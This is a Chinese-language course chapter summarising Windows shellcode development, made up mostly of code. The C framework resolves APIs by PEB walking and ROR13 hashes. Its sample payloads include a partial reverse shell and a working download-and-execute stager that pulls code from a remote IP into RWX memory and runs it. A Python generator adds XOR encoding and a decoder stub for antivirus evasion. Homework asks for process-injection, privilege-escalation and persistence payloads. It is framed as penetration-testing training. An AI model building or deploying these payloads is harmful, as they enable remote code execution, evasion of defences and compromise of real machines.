shellcode开发技术
7、阶段合集
1、课程目标
- 整合ShellCode开发的全部知识点
- 实现完整的ShellCode开发工具链
- 构建模块化的ShellCode框架
- 掌握ShellCode开发的工程化实践
2、知识回顾
2.1、ShellCode开发流程
┌─────────────────────────────────────────────────────────────────┐
│ ShellCode 开发完整流程 │
├─────────────────────────────────────────────────────────────────┤
│ │
│ 1. 需求分析 确定功能需求和目标平台 │
│ ↓ │
│ 2. 架构设计 选择单阶段/分阶段,确定API依赖 │
│ ↓ │
│ 3. 代码编写 C语言原型或直接汇编 │
│ ↓ │
│ 4. 编译优化 禁用优化、安全检查,使用特定代码段 │
│ ↓ │
│ 5. 提取机器码 从PE提取或直接汇编输出 │
│ ↓ │
│ 6. 空字节消除 替换指令、编码处理 │
│ ↓ │
│ 7. 功能测试 加载器测试、调试验证 │
│ ↓ │
│ 8. 免杀处理 加密、混淆、编码 │
│ ↓ │
│ 9. 部署使用 集成到Loader或注入工具 │
│ │
└─────────────────────────────────────────────────────────────────┘
2.2、核心技术点
| 课时 | 主题 | 核心技能 |
|---|---|---|
| 01 | ShellCode概念 | 理解PIC、开发约束 |
| 02 | 获取Kernel32 | PEB遍历、模块枚举 |
| 03 | x86框架 | 导出表解析、哈希查找 |
| 04 | 提取与加载 | PE解析、多种执行方式 |
| 05 | x64框架 | 调用约定、寄存器使用 |
| 06 | 体积优化 | 指令替换、空字节消除 |
3、代码实现
1. 完整的模块化ShellCode框架
// shellcode_framework.h
// 模块化ShellCode开发框架
#ifndef SHELLCODE_FRAMEWORK_H
#define SHELLCODE_FRAMEWORK_H
#include <windows.h>
//=============================================================================
// 配置选项
//=============================================================================
#define SC_ARCH_X86 0
#define SC_ARCH_X64 1
#ifdef _WIN64
#define SC_ARCH SC_ARCH_X64
#else
#define SC_ARCH SC_ARCH_X86
#endif
//=============================================================================
// 哈希常量
//=============================================================================
// 模块哈希
#define HASH_KERNEL32 0x6A4ABC5B
#define HASH_NTDLL 0x3CFA685D
#define HASH_USER32 0x63C84283
#define HASH_WS2_32 0x6B8029
// Kernel32函数哈希
#define HASH_LOADLIBRARYA 0xEC0E4E8E
#define HASH_LOADLIBRARYW 0xB7589C60
#define HASH_GETPROCADDRESS 0x7C0DFCAA
#define HASH_VIRTUALALLOC 0x91AFCA54
#define HASH_VIRTUALPROTECT 0x7946C61B
#define HASH_VIRTUALFREE 0x30633AC
#define HASH_EXITPROCESS 0x73E2D87E
#define HASH_EXITTHREAD 0x60E0CEEF
#define HASH_CREATETHREAD 0xCA2BD06B
#define HASH_GETMODULEHANDLEA 0xD3324904
#define HASH_CLOSEHANDLE 0xB2B07EC8
// User32函数哈希
#define HASH_MESSAGEBOXA 0xBC4DA2A8
#define HASH_MESSAGEBOXW 0xB16B3CCA
// WS2_32函数哈希
#define HASH_WSASTARTUP 0x3BFCEDCB
#define HASH_WSACLEANUP 0x5A79D24C
#define HASH_SOCKET 0x492F0B6E
#define HASH_CONNECT 0x60AAF9EC
#define HASH_SEND 0x5F38EBC2
#define HASH_RECV 0x5FC8D902
#define HASH_CLOSESOCKET 0x6BA2D32F
// Ntdll函数哈希
#define HASH_NTALLOCATEVIRTUALMEMORY 0x3F96C5AB
#define HASH_NTPROTECTVIRTUALMEMORY 0xD3F8D4A9
#define HASH_NTCREATETHREADEX 0x64DC7453
//=============================================================================
// 函数指针类型
//=============================================================================
typedef HMODULE (WINAPI* PFN_LOADLIBRARYA)(LPCSTR);
typedef HMODULE (WINAPI* PFN_LOADLIBRARYW)(LPCWSTR);
typedef FARPROC (WINAPI* PFN_GETPROCADDRESS)(HMODULE, LPCSTR);
typedef LPVOID (WINAPI* PFN_VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL (WINAPI* PFN_VIRTUALPROTECT)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef BOOL (WINAPI* PFN_VIRTUALFREE)(LPVOID, SIZE_T, DWORD);
typedef VOID (WINAPI* PFN_EXITPROCESS)(UINT);
typedef VOID (WINAPI* PFN_EXITTHREAD)(DWORD);
typedef HANDLE (WINAPI* PFN_CREATETHREAD)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef BOOL (WINAPI* PFN_CLOSEHANDLE)(HANDLE);
typedef int (WINAPI* PFN_MESSAGEBOXA)(HWND, LPCSTR, LPCSTR, UINT);
typedef int (WINAPI* PFN_MESSAGEBOXW)(HWND, LPCWSTR, LPCWSTR, UINT);
// 网络函数
typedef int (WINAPI* PFN_WSASTARTUP)(WORD, LPWSADATA);
typedef int (WINAPI* PFN_WSACLEANUP)(void);
typedef SOCKET (WINAPI* PFN_SOCKET)(int, int, int);
typedef int (WINAPI* PFN_CONNECT)(SOCKET, const struct sockaddr*, int);
typedef int (WINAPI* PFN_SEND)(SOCKET, const char*, int, int);
typedef int (WINAPI* PFN_RECV)(SOCKET, char*, int, int);
typedef int (WINAPI* PFN_CLOSESOCKET)(SOCKET);
//=============================================================================
// ShellCode上下文结构
//=============================================================================
typedef struct _SC_CONTEXT {
// 模块句柄
HMODULE hKernel32;
HMODULE hNtdll;
HMODULE hUser32;
HMODULE hWs2_32;
// Kernel32函数
PFN_LOADLIBRARYA pLoadLibraryA;
PFN_GETPROCADDRESS pGetProcAddress;
PFN_VIRTUALALLOC pVirtualAlloc;
PFN_VIRTUALPROTECT pVirtualProtect;
PFN_VIRTUALFREE pVirtualFree;
PFN_EXITPROCESS pExitProcess;
PFN_CREATETHREAD pCreateThread;
PFN_CLOSEHANDLE pCloseHandle;
// User32函数
PFN_MESSAGEBOXA pMessageBoxA;
// 网络函数
PFN_WSASTARTUP pWSAStartup;
PFN_SOCKET pSocket;
PFN_CONNECT pConnect;
PFN_SEND pSend;
PFN_RECV pRecv;
PFN_CLOSESOCKET pClosesocket;
} SC_CONTEXT, *PSC_CONTEXT;
//=============================================================================
// 核心函数声明
//=============================================================================
// 哈希计算
__forceinline DWORD ROR13Hash(const char* str);
__forceinline DWORD ROR13HashW(const WCHAR* str);
// 模块获取
__forceinline HMODULE GetModuleByHash(DWORD hash);
// 函数获取
__forceinline FARPROC GetFuncByHash(HMODULE hModule, DWORD hash);
// 上下文初始化
__forceinline BOOL InitShellcodeContext(PSC_CONTEXT pCtx);
#endif // SHELLCODE_FRAMEWORK_H
2. 框架实现
// shellcode_framework.c
// ShellCode框架实现
#include "shellcode_framework.h"
#include <intrin.h>
//=============================================================================
// 哈希计算
//=============================================================================
__forceinline DWORD ROR13Hash(const char* str) {
DWORD hash = 0;
while (*str) {
hash = _rotr(hash, 13) + *str;
str++;
}
return hash;
}
__forceinline DWORD ROR13HashW(const WCHAR* str) {
DWORD hash = 0;
while (*str) {
WCHAR c = *str;
if (c >= L'A' && c <= L'Z') c += 0x20;
hash = _rotr(hash, 13) + (BYTE)c;
str++;
}
return hash;
}
//=============================================================================
// 获取模块基址
//=============================================================================
__forceinline HMODULE GetModuleByHash(DWORD hash) {
PPEB pPeb;
#ifdef _WIN64
pPeb = (PPEB)__readgsqword(0x60);
#else
pPeb = (PPEB)__readfsdword(0x30);
#endif
PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)pPeb->Ldr;
PLIST_ENTRY pHead = &pLdr->InLoadOrderModuleList;
PLIST_ENTRY pEntry = pHead->Flink;
while (pEntry != pHead) {
PLDR_DATA_TABLE_ENTRY pModule = CONTAINING_RECORD(
pEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks
);
if (pModule->BaseDllName.Buffer) {
DWORD moduleHash = ROR13HashW(pModule->BaseDllName.Buffer);
if (moduleHash == hash) {
return (HMODULE)pModule->DllBase;
}
}
pEntry = pEntry->Flink;
}
return NULL;
}
//=============================================================================
// 通过哈希获取函数
//=============================================================================
__forceinline FARPROC GetFuncByHash(HMODULE hModule, DWORD hash) {
if (!hModule) return NULL;
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hModule;
if (pDos->e_magic != IMAGE_DOS_SIGNATURE) return NULL;
#ifdef _WIN64
PIMAGE_NT_HEADERS64 pNt = (PIMAGE_NT_HEADERS64)((LPBYTE)hModule + pDos->e_lfanew);
#else
PIMAGE_NT_HEADERS32 pNt = (PIMAGE_NT_HEADERS32)((LPBYTE)hModule + pDos->e_lfanew);
#endif
if (pNt->Signature != IMAGE_NT_SIGNATURE) return NULL;
DWORD exportRva = pNt->OptionalHeader.DataDirectory[0].VirtualAddress;
if (!exportRva) return NULL;
PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(
(LPBYTE)hModule + exportRva
);
PDWORD pFunctions = (PDWORD)((LPBYTE)hModule + pExport->AddressOfFunctions);
PDWORD pNames = (PDWORD)((LPBYTE)hModule + pExport->AddressOfNames);
PWORD pOrdinals = (PWORD)((LPBYTE)hModule + pExport->AddressOfNameOrdinals);
for (DWORD i = 0; i < pExport->NumberOfNames; i++) {
char* name = (char*)((LPBYTE)hModule + pNames[i]);
if (ROR13Hash(name) == hash) {
DWORD funcRva = pFunctions[pOrdinals[i]];
// 检查是否为转发函数
if (funcRva >= exportRva &&
funcRva < exportRva + pNt->OptionalHeader.DataDirectory[0].Size) {
// 转发函数,需要特殊处理
continue;
}
return (FARPROC)((LPBYTE)hModule + funcRva);
}
}
return NULL;
}
//=============================================================================
// 初始化上下文
//=============================================================================
__forceinline BOOL InitShellcodeContext(PSC_CONTEXT pCtx) {
// 清零
for (int i = 0; i < sizeof(SC_CONTEXT); i++) {
((BYTE*)pCtx)[i] = 0;
}
// 获取Kernel32
pCtx->hKernel32 = GetModuleByHash(HASH_KERNEL32);
if (!pCtx->hKernel32) return FALSE;
// 获取基础函数
pCtx->pLoadLibraryA = (PFN_LOADLIBRARYA)
GetFuncByHash(pCtx->hKernel32, HASH_LOADLIBRARYA);
pCtx->pGetProcAddress = (PFN_GETPROCADDRESS)
GetFuncByHash(pCtx->hKernel32, HASH_GETPROCADDRESS);
pCtx->pVirtualAlloc = (PFN_VIRTUALALLOC)
GetFuncByHash(pCtx->hKernel32, HASH_VIRTUALALLOC);
pCtx->pVirtualProtect = (PFN_VIRTUALPROTECT)
GetFuncByHash(pCtx->hKernel32, HASH_VIRTUALPROTECT);
pCtx->pVirtualFree = (PFN_VIRTUALFREE)
GetFuncByHash(pCtx->hKernel32, HASH_VIRTUALFREE);
pCtx->pExitProcess = (PFN_EXITPROCESS)
GetFuncByHash(pCtx->hKernel32, HASH_EXITPROCESS);
pCtx->pCreateThread = (PFN_CREATETHREAD)
GetFuncByHash(pCtx->hKernel32, HASH_CREATETHREAD);
pCtx->pCloseHandle = (PFN_CLOSEHANDLE)
GetFuncByHash(pCtx->hKernel32, HASH_CLOSEHANDLE);
// 验证必需函数
if (!pCtx->pLoadLibraryA || !pCtx->pGetProcAddress) {
return FALSE;
}
return TRUE;
}
//=============================================================================
// 加载额外模块
//=============================================================================
__forceinline BOOL LoadUser32(PSC_CONTEXT pCtx) {
if (pCtx->hUser32) return TRUE;
char szUser32[] = {'u','s','e','r','3','2','.','d','l','l',0};
pCtx->hUser32 = pCtx->pLoadLibraryA(szUser32);
if (!pCtx->hUser32) return FALSE;
pCtx->pMessageBoxA = (PFN_MESSAGEBOXA)
GetFuncByHash(pCtx->hUser32, HASH_MESSAGEBOXA);
return TRUE;
}
__forceinline BOOL LoadWs2_32(PSC_CONTEXT pCtx) {
if (pCtx->hWs2_32) return TRUE;
char szWs2[] = {'w','s','2','_','3','2','.','d','l','l',0};
pCtx->hWs2_32 = pCtx->pLoadLibraryA(szWs2);
if (!pCtx->hWs2_32) return FALSE;
pCtx->pWSAStartup = (PFN_WSASTARTUP)
GetFuncByHash(pCtx->hWs2_32, HASH_WSASTARTUP);
pCtx->pSocket = (PFN_SOCKET)
GetFuncByHash(pCtx->hWs2_32, HASH_SOCKET);
pCtx->pConnect = (PFN_CONNECT)
GetFuncByHash(pCtx->hWs2_32, HASH_CONNECT);
pCtx->pSend = (PFN_SEND)
GetFuncByHash(pCtx->hWs2_32, HASH_SEND);
pCtx->pRecv = (PFN_RECV)
GetFuncByHash(pCtx->hWs2_32, HASH_RECV);
pCtx->pClosesocket = (PFN_CLOSESOCKET)
GetFuncByHash(pCtx->hWs2_32, HASH_CLOSESOCKET);
return TRUE;
}
//=============================================================================
// 示例Payload: MessageBox
//=============================================================================
void PayloadMessageBox(PSC_CONTEXT pCtx) {
if (!LoadUser32(pCtx)) return;
char szTitle[] = {'S','h','e','l','l','c','o','d','e',0};
char szText[] = {'H','e','l','l','o',' ','W','o','r','l','d','!',0};
pCtx->pMessageBoxA(NULL, szText, szTitle, 0);
}
//=============================================================================
// 示例Payload: Reverse Shell
//=============================================================================
void PayloadReverseShell(PSC_CONTEXT pCtx, DWORD ip, WORD port) {
if (!LoadWs2_32(pCtx)) return;
// WSAStartup
WSADATA wsa;
pCtx->pWSAStartup(0x0202, &wsa);
// 创建Socket
SOCKET sock = pCtx->pSocket(AF_INET, SOCK_STREAM, 0);
// 连接
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = ((port & 0xFF) << 8) | ((port >> 8) & 0xFF); // 手动htons
addr.sin_addr.s_addr = ip;
if (pCtx->pConnect(sock, (struct sockaddr*)&addr, sizeof(addr)) == 0) {
// 创建cmd进程并重定向
// ... (需要更多API)
}
pCtx->pClosesocket(sock);
}
//=============================================================================
// 示例Payload: 下载执行
//=============================================================================
void PayloadDownloadExec(PSC_CONTEXT pCtx, DWORD ip, WORD port) {
if (!LoadWs2_32(pCtx)) return;
WSADATA wsa;
pCtx->pWSAStartup(0x0202, &wsa);
SOCKET sock = pCtx->pSocket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in addr = {0};
addr.sin_family = AF_INET;
addr.sin_port = ((port & 0xFF) << 8) | ((port >> 8) & 0xFF);
addr.sin_addr.s_addr = ip;
if (pCtx->pConnect(sock, (struct sockaddr*)&addr, sizeof(addr)) == 0) {
// 接收Payload大小
DWORD size = 0;
pCtx->pRecv(sock, (char*)&size, 4, 0);
// 分配内存
LPVOID mem = pCtx->pVirtualAlloc(NULL, size,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (mem) {
// 接收Payload
DWORD received = 0;
while (received < size) {
int n = pCtx->pRecv(sock, (char*)mem + received,
size - received, 0);
if (n <= 0) break;
received += n;
}
// 执行
((void(*)())mem)();
}
}
pCtx->pClosesocket(sock);
}
//=============================================================================
// ShellCode主入口
//=============================================================================
void ShellcodeEntry() {
SC_CONTEXT ctx;
// 初始化
if (!InitShellcodeContext(&ctx)) {
return;
}
// 执行Payload
PayloadMessageBox(&ctx);
// 退出
ctx.pExitProcess(0);
}
3. ShellCode生成器
#!/usr/bin/env python3
# shellcode_generator.py
# ShellCode生成和处理工具集
import struct
import sys
import os
class ShellcodeGenerator:
"""ShellCode生成器基类"""
def __init__(self, arch='x86'):
self.arch = arch
self.code = bytearray()
def emit(self, *bytes_data):
"""添加字节"""
for b in bytes_data:
if isinstance(b, int):
self.code.append(b)
elif isinstance(b, (bytes, bytearray)):
self.code.extend(b)
def emit_dword(self, value):
"""添加DWORD (小端)"""
self.code.extend(struct.pack('<I', value))
def emit_qword(self, value):
"""添加QWORD (小端)"""
self.code.extend(struct.pack('<Q', value))
def emit_string(self, s):
"""添加字符串"""
self.code.extend(s.encode('ascii') + b'\x00')
# x86指令生成
def x86_xor_eax_eax(self):
self.emit(0x31, 0xC0)
def x86_xor_ebx_ebx(self):
self.emit(0x31, 0xDB)
def x86_xor_ecx_ecx(self):
self.emit(0x31, 0xC9)
def x86_xor_edx_edx(self):
self.emit(0x31, 0xD2)
def x86_push_eax(self):
self.emit(0x50)
def x86_push_imm8(self, value):
self.emit(0x6A, value & 0xFF)
def x86_push_imm32(self, value):
self.emit(0x68)
self.emit_dword(value)
def x86_pop_eax(self):
self.emit(0x58)
def x86_call_eax(self):
self.emit(0xFF, 0xD0)
def x86_ret(self):
self.emit(0xC3)
def get_code(self):
return bytes(self.code)
def get_c_array(self):
"""输出C数组格式"""
result = 'unsigned char shellcode[] = \n"'
for i, b in enumerate(self.code):
result += f'\\x{b:02X}'
if (i + 1) % 16 == 0 and i < len(self.code) - 1:
result += '"\n"'
result += '";\n'
return result
def get_python_bytes(self):
"""输出Python bytes格式"""
result = 'shellcode = b"'
for i, b in enumerate(self.code):
result += f'\\x{b:02X}'
if (i + 1) % 16 == 0 and i < len(self.code) - 1:
result += '"\\\nb"'
result += '"\n'
return result
def analyze(self):
"""分析ShellCode"""
total = len(self.code)
nulls = self.code.count(0)
print(f"Size: {total} bytes")
print(f"Null bytes: {nulls} ({100*nulls/total:.1f}%)")
# 检查常见坏字符
bad_chars = [0x00, 0x0A, 0x0D, 0x20]
found_bad = []
for bc in bad_chars:
if bc in self.code:
found_bad.append(f'0x{bc:02X}')
if found_bad:
print(f"Bad characters found: {', '.join(found_bad)}")
class MessageBoxShellcode(ShellcodeGenerator):
"""生成MessageBox ShellCode"""
def generate(self, title="Shell", message="Hello!"):
# 简化版 - 实际需要完整的API解析代码
# 这里放置完整的ShellCode字节
# 由于篇幅限制,使用占位符
# 实际实现应包含:
# 1. 获取kernel32
# 2. 解析GetProcAddress
# 3. 加载user32
# 4. 调用MessageBoxA
# 5. 退出
pass
class ReverseShellShellcode(ShellcodeGenerator):
"""生成Reverse Shell ShellCode"""
def generate(self, ip, port):
# 将IP转换为DWORD
parts = ip.split('.')
ip_dword = (int(parts[0]) | (int(parts[1]) << 8) |
(int(parts[2]) << 16) | (int(parts[3]) << 24))
# 端口转换为网络字节序
port_be = ((port & 0xFF) << 8) | ((port >> 8) & 0xFF)
print(f"[*] IP: {ip} -> 0x{ip_dword:08X}")
print(f"[*] Port: {port} -> 0x{port_be:04X}")
# 实际实现需要完整代码...
pass
def encode_xor(shellcode, key):
"""XOR编码"""
encoded = bytearray()
for i, b in enumerate(shellcode):
if isinstance(key, int):
encoded.append(b ^ key)
else:
encoded.append(b ^ key[i % len(key)])
return bytes(encoded)
def generate_decoder_stub(key, arch='x86'):
"""生成解码器存根"""
if isinstance(key, int):
key = bytes([key])
if arch == 'x86':
# 简单的XOR解码器
stub = bytearray([
0xEB, 0x0D, # jmp short get_addr
0x5E, # pop esi (encoded shellcode addr)
0x31, 0xC9, # xor ecx, ecx
0xB1, 0x00, # mov cl, SIZE (需要填充)
0x80, 0x36, key[0], # xor byte [esi], KEY
0x46, # inc esi
0xE2, 0xFA, # loop -6
0xEB, 0x05, # jmp to decoded shellcode
0xE8, 0xEE, 0xFF, 0xFF, 0xFF, # call pop_addr
])
return bytes(stub)
return b''
def main():
print("=" * 50)
print(" ShellCode Generator Tool")
print("=" * 50)
if len(sys.argv) < 2:
print("\nUsage:")
print(" python shellcode_generator.py msgbox [title] [message]")
print(" python shellcode_generator.py reverse <ip> <port>")
print(" python shellcode_generator.py encode <file> <key>")
return
cmd = sys.argv[1]
if cmd == 'msgbox':
title = sys.argv[2] if len(sys.argv) > 2 else "Shell"
message = sys.argv[3] if len(sys.argv) > 3 else "Hello!"
gen = MessageBoxShellcode()
gen.generate(title, message)
elif cmd == 'reverse':
if len(sys.argv) < 4:
print("Usage: reverse <ip> <port>")
return
ip = sys.argv[2]
port = int(sys.argv[3])
gen = ReverseShellShellcode()
gen.generate(ip, port)
elif cmd == 'encode':
if len(sys.argv) < 4:
print("Usage: encode <file> <key>")
return
with open(sys.argv[2], 'rb') as f:
shellcode = f.read()
key = int(sys.argv[3], 0) if sys.argv[3].startswith('0x') else int(sys.argv[3])
encoded = encode_xor(shellcode, key)
print(f"\nOriginal: {len(shellcode)} bytes")
print(f"Key: 0x{key:02X}")
print(f"\nEncoded shellcode:")
out_file = sys.argv[2] + '.enc'
with open(out_file, 'wb') as f:
f.write(encoded)
print(f"Saved to: {out_file}")
if __name__ == "__main__":
main()
4. 完整测试程序
// shellcode_test.c
// ShellCode框架测试程序
#include <windows.h>
#include <stdio.h>
// 包含框架
#include "shellcode_framework.h"
// 外部ShellCode(从文件或内嵌)
extern void ShellcodeEntry();
// 内嵌测试ShellCode
unsigned char test_shellcode[] = {
0x90, 0x90, 0x90, 0x90, // NOP sled
0xCC, // INT3 (调试断点)
0xC3 // RET
};
// 加载并执行ShellCode
void ExecuteShellcode(const unsigned char* code, size_t size) {
printf("[*] Allocating RWX memory...\n");
LPVOID mem = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!mem) {
printf("[-] VirtualAlloc failed: %lu\n", GetLastError());
return;
}
printf("[+] Memory at: %p\n", mem);
// 复制
memcpy(mem, code, size);
// 刷新指令缓存
FlushInstructionCache(GetCurrentProcess(), mem, size);
printf("[*] Executing shellcode...\n");
// 执行
__try {
((void(*)())mem)();
printf("[+] Shellcode returned normally\n");
}
__except(EXCEPTION_EXECUTE_HANDLER) {
printf("[-] Exception occurred: 0x%08X\n", GetExceptionCode());
}
VirtualFree(mem, 0, MEM_RELEASE);
}
// 测试框架功能
void TestFramework() {
printf("\n=== Testing ShellCode Framework ===\n\n");
// 测试哈希
printf("[*] Hash values:\n");
printf(" kernel32.dll: 0x%08X\n", ROR13HashW(L"kernel32.dll"));
printf(" LoadLibraryA: 0x%08X\n", ROR13Hash("LoadLibraryA"));
printf(" GetProcAddress: 0x%08X\n", ROR13Hash("GetProcAddress"));
// 测试模块获取
printf("\n[*] Module resolution:\n");
HMODULE hK32 = GetModuleByHash(HASH_KERNEL32);
HMODULE hK32_Real = GetModuleHandleW(L"kernel32.dll");
printf(" Kernel32 (hash): 0x%p\n", hK32);
printf(" Kernel32 (real): 0x%p\n", hK32_Real);
printf(" Match: %s\n", hK32 == hK32_Real ? "Yes" : "No");
// 测试函数获取
printf("\n[*] Function resolution:\n");
if (hK32) {
FARPROC pLoad = GetFuncByHash(hK32, HASH_LOADLIBRARYA);
FARPROC pLoad_Real = GetProcAddress(hK32_Real, "LoadLibraryA");
printf(" LoadLibraryA (hash): 0x%p\n", pLoad);
printf(" LoadLibraryA (real): 0x%p\n", pLoad_Real);
printf(" Match: %s\n", pLoad == pLoad_Real ? "Yes" : "No");
}
// 测试完整上下文
printf("\n[*] Context initialization:\n");
SC_CONTEXT ctx;
if (InitShellcodeContext(&ctx)) {
printf(" [+] Context initialized successfully\n");
printf(" LoadLibraryA: 0x%p\n", ctx.pLoadLibraryA);
printf(" GetProcAddress: 0x%p\n", ctx.pGetProcAddress);
printf(" VirtualAlloc: 0x%p\n", ctx.pVirtualAlloc);
printf(" ExitProcess: 0x%p\n", ctx.pExitProcess);
} else {
printf(" [-] Context initialization failed\n");
}
}
int main(int argc, char* argv[]) {
printf("================================================\n");
printf(" ShellCode Development Framework Test \n");
printf("================================================\n");
// 测试框架
TestFramework();
// 命令行选项
if (argc >= 2) {
if (strcmp(argv[1], "-f") == 0 && argc >= 3) {
// 从文件加载
HANDLE hFile = CreateFileA(argv[2], GENERIC_READ,
FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile != INVALID_HANDLE_VALUE) {
DWORD size = GetFileSize(hFile, NULL);
unsigned char* code = (unsigned char*)malloc(size);
DWORD read;
ReadFile(hFile, code, size, &read, NULL);
CloseHandle(hFile);
printf("\n[*] Loaded %lu bytes from %s\n", size, argv[2]);
ExecuteShellcode(code, size);
free(code);
}
}
else if (strcmp(argv[1], "-t") == 0) {
// 执行测试ShellCode
printf("\n[*] Executing test shellcode...\n");
ExecuteShellcode(test_shellcode, sizeof(test_shellcode));
}
else if (strcmp(argv[1], "-m") == 0) {
// 执行MessageBox payload
printf("\n[*] Executing MessageBox payload...\n");
SC_CONTEXT ctx;
if (InitShellcodeContext(&ctx)) {
PayloadMessageBox(&ctx);
}
}
}
printf("\n[*] Done.\n");
return 0;
}
5、课后作业
5.1、作业1:扩展框架
为ShellCode框架添加以下功能:
- 进程注入Payload
- 权限提升Payload
- 持久化Payload
5.2、作业2:自动化工具
编写一个自动化工具,能够:
- 从C源码生成ShellCode
- 自动进行空字节消除
- 应用编码混淆
- 生成多种格式输出
5.3、作业3:跨平台ShellCode
研究并实现一个能在x86和x64上都能运行的“通用”ShellCode。
6、章节总结
本章系统学习了ShellCode开发的核心技术:
- 基础概念:理解ShellCode的本质是位置无关的机器码
- API动态获取:通过PEB遍历获取模块,解析导出表获取函数
- x86开发:掌握内联汇编和纯汇编开发方法
- x64开发:理解调用约定差异和寄存器使用
- 提取与加载:从PE提取机器码,多种执行方式
- 体积优化:指令替换、空字节消除、分阶段加载
ShellCode是渗透测试和安全研究的核心技术,后续课程将深入学习ShellCode加载器和各种免杀技术。